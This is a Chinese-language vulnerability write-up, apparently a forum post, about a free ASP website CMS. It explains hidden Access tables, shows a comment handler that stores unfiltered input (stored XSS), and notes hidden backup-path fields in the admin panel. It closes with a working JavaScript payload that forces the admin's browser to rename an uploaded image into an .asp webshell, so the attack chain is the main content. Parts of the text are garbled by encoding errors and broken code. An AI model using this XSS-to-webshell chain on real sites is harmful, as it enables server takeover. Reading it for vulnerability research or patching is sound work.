前言:
???? 最近上cnzz下載了一套網(wǎng)站管理系統(tǒng),在源碼首頁發(fā)現(xiàn)它,心想cnzz都推薦應(yīng)該安全性相當(dāng)不錯了.官方下載最新版本本地搭建IIS測試發(fā)現(xiàn)簡潔易用,整體上安全做得不錯.由于是免費版的,可能官方有點放水.不過這里不影響我們的分析,這里討論兩個方面:跨站的利用,SQL注射.還是一句話:重在思路.
一.隱藏的數(shù)據(jù)庫
分析代碼經(jīng)常要用到數(shù)據(jù)庫(我分析的是Access版本的) ,習(xí)慣性的打開數(shù)據(jù)庫,驚奇的發(fā)現(xiàn)只有一個notdown表,如圖01:
可是再仔細查看代碼發(fā)現(xiàn)不應(yīng)該只有這張表的,于是就想是不是隱藏起來了?第一次看到這種情況,于是就查看了下Access幫助說明,在其中發(fā)現(xiàn)原來有還存在兩種屬性的數(shù)據(jù)表,即系統(tǒng)對象和隱藏對象.下面做一個小知識補充:
由于Access默認是不顯示系統(tǒng)對象和隱藏對象的.所以如果一個表中存在隱藏對象或者系統(tǒng)對象那么就無法看到該表了. 簡單說下隱藏方法,設(shè)計好表后右擊表選擇"屬性"->"隱藏"屬性打勾,刷新下就看不到了,這樣就是隱藏對象了,默認是看不到的.至于系統(tǒng)對象,我們可以修改表的前綴為 usys,這樣就可以把表改成一個系統(tǒng)對象.這兩種方法都可以.
既然可以隱藏當(dāng)然也可以恢復(fù)顯示了, 按如下操作:“工具”菜單->“選項”命令->“視圖”選項卡->選中“顯示”一欄下的“系統(tǒng)對象”復(fù)選框或者"隱藏對象"復(fù)選框,并按下“確定”按鈕,就可以重新顯示所有表了.如圖02
Ok了,數(shù)據(jù)就可以和正常的一樣了.
二.跨站的深入利用雞肋
首先看看漏洞文件/include/PlS.asp,查看代碼發(fā)現(xiàn)是一個評論顯示,在多個文件被包含了,代碼如下:
"" then
??????Dim Author,Content,mycode
????Author=Trim(Request.Form("Author"))// 簡單的過濾空格
????Content=Trim(Request.Form("Content")) //同上
????mycode = trim(request.form("code"))
??????if Author="" or Content="" then
??????Call Alert ("請?zhí)顚懲暾偬峤?amp;quot;,"-1")
????end if
????if mycodeSession("getcode") then
?????? Call Alert ("您輸入驗證碼錯誤","-1")
????end if
??????set rs = server.CreateObject ("adodb.recordset")
????sql="select * from zhi_rui_E_Pl"
????rs.open sql,conn,1,3
????rs.addnew
????rs("cli")=Request.Form("cli")
????rs("Ioid")=request.Form("Inid")
????rs("Author")=Author
????rs("Content")=Content
??------------------------省略部分代碼-------------------------------
%>
顯然沒有任何過濾,直接寫入數(shù)據(jù)庫,跨站產(chǎn)生了.由于數(shù)據(jù)庫是mdb格式的,所有插馬也沒用.這里就想到了是否可以備份數(shù)據(jù)庫?進入后臺看到數(shù)據(jù)庫備份,查看如圖03:
看到了沒,據(jù)庫路徑和備份文件名都不能修改,有些朋友可能就到這里停止,其實不然,還可以繼續(xù),經(jīng)驗告訴我,他是將該輸入框?qū)懗蒱idden隱藏域了,查看文件/admin/Admin_Data.asp代碼如下:
" size="40" />[/td]
看到這行type=hidden,猜測沒錯.那也就是說同樣可以備份任意文件了.所有后臺拿shell比較簡單了.(插馬備份數(shù)據(jù)庫比較麻煩,要繞過// 判斷瀏覽器類型并定義創(chuàng)建xmlhttp會話
if (window.XMLHttpRequest)
{
??xmlhttp = new XMLHttpRequest();
} else if (window.ActiveXObject)
{
??try
??{
????xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
??}
??catch (e)
??{
????try
????{
??????xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
????}
????catch (e)
????{
????}
??}
}
function backup()
{
??var postStr = "DBpath=upload/2009082150598817.jpg&bkfolder=../DataBase/bak/&bkDBname=l4nk0r.asp";
??xmlhttp.open("
OST","/admin/Admin_data.asp?action=RestoreData&act=Restore",true);
??xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
??xmlhttp.send(postStr);
}
Backup();
然后在你要提交的地方提交